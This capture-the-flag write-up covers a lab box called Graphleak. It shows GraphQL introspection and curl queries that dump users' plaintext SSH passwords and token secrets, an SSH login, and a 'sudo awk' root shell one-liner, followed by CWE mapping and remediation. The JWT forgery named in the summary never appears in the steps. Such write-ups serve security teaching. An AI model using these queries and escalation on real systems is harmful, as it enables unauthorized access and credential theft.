Executive Summary
Graphleak is a Hard rated Linux box from RatCTF that chains multiple API security flaws to achieve full compromise. A GraphQL API with introspection enabled exposes the schema and all queryable fields. JWT tokens signed with HS256 using a publicly exposed RSA public key allow token forgery — the public key can be used as the HMAC secret due to the algorithm’s weakness. Querying the exposed schema yields plaintext SSH credentials and token secrets for multiple users. SSH access as netops is established, and a passwordless sudo rule for awk is abused via a GTFOBin to spawn a root shell.
Attack Path
SSH Password + Token Secrets"] B["GraphQL Introspection
Schema Enumeration — Field Discovery"] A["Nmap Scan
SSH + Werkzeug HTTP"] end subgraph Phase2["JWT FORGERY & INITIAL ACCESS"] direction LR F["Root Shell + Fragment
sudo awk GTFOBin"] E["sudo -l Enumeration
awk Privilege Escalation"] D["SSH Login — netops
User Flag Retrieved"] end A --> B B --> C D --> E E --> F Phase1 --> Phase2 L2[" "] L1[" "] style L2 fill:none,stroke:none style L1 fill:none,stroke:none
Tooling Analysis
The following tools were utilised during this engagement:
| Tool | Category | Purpose |
|---|---|---|
| Nmap | Reconnaissance | Initial port scanning and service version detection. |
| curl | Enumeration | Retrieving the public key and querying the GraphQL API. |
| SSH | Initial Access | Logging in as netops using credentials dumped from the GraphQL API. |
| sudo + awk | Privilege Escalation | GTFOBin abuse — executing arbitrary commands as root. |
1. Enumeration & Reconnaissance
Service Scanning
The engagement began with the provided Nmap scan:
nmap -sV -oA initial_scan -p 30780,30781 66.228.56.155

Two services were identified: SSH on port 30780 and a Werkzeug HTTP server on port 30781.
Web Application Review
Visiting the HTTP server in a browser revealed an internal API interface with GraphQL documentation:

2. GraphQL Introspection & Schema Enumeration
Public Key Exposure
The application advertised a GraphQL API with a publicly accessible /api/pubkey endpoint. The public key was retrieved:
curl http://66.228.56.155:30781/api/pubkey

The public key was saved as pubkey.pem for later JWT manipulation.
GraphQL Introspection Attack
The main page explicitly mentioned that introspection was enabled — allowing the schema to be fully discovered. The schema was enumerated with a standard introspection query:
curl -X POST http://66.228.56.155:30781/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}'

The complete schema was returned, revealing all available types and queryable fields.
3. Credential Extraction via GraphQL Query
Dumping All Users
With the schema known, all users in the system were queried, requesting sensitive fields including SSH passwords and token secrets:
curl -X POST http://66.228.56.155:30781/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id username email role token_secret ssh_password } }"}'

The response exposed three users with plaintext credentials and token secrets for guest and netops accounts.
User-Specific Query
Credentials were also retrieved for individual users:
curl -X POST http://66.228.56.155:30781/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 2) { token_secret ssh_password } }"}'

The netops account credentials were successfully extracted.
4. Initial Access — SSH as netops
The plaintext SSH credentials recovered from the GraphQL API were used to authenticate:
ssh -p 30780 netops@66.228.56.155

The user flag was located directly in the home directory:

5. Privilege Escalation — sudo awk GTFOBin
Sudo Enumeration
Available sudo permissions were enumerated with sudo -l:

The netops account could run awk as root without a password — a well-known GTFOBin vector.
Root Shell via awk
A simple one-liner was executed to spawn a root shell:
sudo awk 'BEGIN {system("/bin/bash")}'
The root flag was retrieved from /root/root.txt.
Bonus: Fragment Discovery
As part of a broader RatCTF meta-challenge, a hidden fragment was located via filesystem grep:
grep -r "FRAG-" /root /home /opt /srv /var /tmp /etc 2>/dev/null

Vulnerability Mapping (CWE)
| ID | Vulnerability Name | CWE Mapping |
|---|---|---|
| 1 | GraphQL Introspection Enabled — Schema Fully Queryable | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
| 2 | Sensitive User Data Exposed via Unauthenticated GraphQL Queries | CWE-639: Authorization Bypass Through User-Controlled Key |
| 3 | Plaintext Credentials Returned in API Response | CWE-522: Insufficiently Protected Credentials |
| 4 | Unrestricted sudo Rule Permitting Arbitrary Command Execution as Root | CWE-269: Improper Privilege Management |
Remediation & Mitigation Strategies
1. Disable GraphQL Introspection in Production (NIST CM-7, CIS Control 16.12)
- Mitigation: GraphQL introspection must be disabled in production environments. While introspection is useful for development and API discovery in sandboxed settings, it exposes the entire schema — enabling attackers to understand the query surface and identify high-value fields to target. Implement conditional logic to disable introspection based on environment flags, and consider rate-limiting or requiring authentication for introspection queries even in development.
2. Enforce Authentication and Authorization on All GraphQL Queries (NIST IA-2, CIS Control 4.2)
- Mitigation: GraphQL endpoints must require authentication and enforce granular authorization at the field and query level. Sensitive fields (passwords, tokens, secrets) must never be returned to unauthenticated or insufficiently privileged users, even if they are queryable in the schema. Implement a schema-level authorization layer and audit what fields are accessible to each user role. Never expose plaintext credentials, API keys, or token secrets in API responses.
3. Never Store Plaintext Credentials or Secrets in Queryable Fields (NIST IA-5, CIS Control 3.11)
- Mitigation: Credentials, API keys, token secrets, and other sensitive data must never be stored in plaintext or be queryable through APIs. Use a secrets management solution (HashiCorp Vault, AWS Secrets Manager) to generate and rotate credentials dynamically, and only return opaque identifiers or references in API responses. Token secrets should never be exposed to users — tokens should be generated server-side and returned encrypted or as one-time credentials.
4. Restrict sudo Rules to Prevent Arbitrary Command Execution (NIST AC-6, CIS Control 5.4)
- Mitigation: Granting passwordless sudo access to tools capable of arbitrary command execution — such as
awk,perl,python, orvim— is functionally equivalent to unrestricted root access. Audit all/etc/sudoersentries against a GTFOBins reference list and remove or tightly restrict any matching rules. Where privilege escalation is genuinely required, scope it to specific, non-exploitable commands with argument restrictions (e.g.,sudo /usr/bin/specific_script).